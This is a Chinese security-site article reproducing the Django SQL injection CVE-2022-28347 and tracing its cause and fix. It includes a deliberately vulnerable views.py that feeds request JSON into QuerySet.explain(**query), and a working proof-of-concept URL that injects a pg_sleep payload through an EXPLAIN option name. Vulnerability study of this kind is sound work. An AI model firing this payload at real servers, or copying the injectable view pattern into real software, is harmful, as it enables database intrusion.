freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Django SQL注入漏洞复现 (CVE-2022-28347)
蚁景科技 2023-05-18 16:40:02 307381
所属地 湖南省

image

漏洞简介

在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。

影响版本

2.2 =< Django < 2.2.28

3.2 =< Django < 3.2.13

4.0 =< Django < 4.0.4

环境搭建

创建存在 漏洞 Django 版本 3.2.12 项目

创建 startapp Demo 并依次修改文件

安装 postgresql 数据库

settings.py 设置连接数据库为 postgresql 数据库

DATABASES = {
 'default': {
     'ENGINE': 'django.db.backends.postgresql',
     'NAME': 'test',
     'USER': 'postgres',
     'PASSWORD': '123456',
     'HOST': '127.0.0.1',
     'PORT': '5432',
}
}

urls.py 设定对应路由

from django.contrib import admin
from django.urls import path

from Demo import views

urlpatterns = [
 path('admin/', admin.site.urls),
 path('index/', views.index),
 path('demo/', views.users),
 path('initialize/', views.loadexampledata),
]

models.py

from django.db import models

# Create your models here.
class User(models.Model):
 name = models.CharField(max_length=200)

 def __str__(self):
     return self.name

views.py

import json


from django.http import HttpResponse
from django.shortcuts import render

# Create your views here.
from .models import User



def index(request):
 return HttpResponse('hello world')

def users(request):
 query = request.GET.get('q')
 query = json.loads(query)
 qs = User.objects.get_queryset().explain(**query)
 return HttpResponse(qs)


def loadexampledata(request):
 u = User(name="Admin")
 u.save()
 u = User(name="Staff1")
 u.save()
 u = User(name="Staff12")
 u.save()
 return HttpResponse("ok")

漏洞复现

http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}

image

发现成功构造使得服务器沉睡

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

在进行代码分析之前,我们先了解一个知识点 EXPLAIN

EXPLAIN

EXPLAIN -- 显示一个语句的执行计划

image

EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement

option:
 ANALYZE [ boolean ]   执行命令并显示实际运行时间
 VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要
 COSTS [ boolean ]
 BUFFERS [ boolean ]
 TIMING [ boolean ]
 FORMAT { TEXT | XML | JSON | YAML }

statement:
 查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句

EXPLAIN ANALYZE不仅会显示查询计划,还会实际运行语句。EXPLAIN ANALYZE会丢掉任何来自SELECT语句的输出,但是该语句中的其他操作会被执行(例如INSERT、UPDATE或者DELETE)。

调试分析

image

django.db.models.query.QuerySet.explain

image

django.db.models.sql.query.Query.explain

image

django.db.models.sql.compiler.SQLCompiler.explain_query

image

django.db.models.sql.compiler.SQLCompiler.execute_sql

image

django.db.models.sql.compiler.SQLCompiler.as_sql

image

在这里会根据所选择的数据库,来调用其相对应的 explain_query_prefix 方法

django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix

image

postgresql​ 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中

image

最后执行的 SQL 语句是

'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);--  true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'

漏洞修复

https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901

image

做了一个过滤,发现危险字符就抛出异常

image

只有字符串在白名单内才会拼接到语句中

更多网安技能的在线实操练习,请点击这里>>


# SQL注入 # Django # 漏洞复现
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录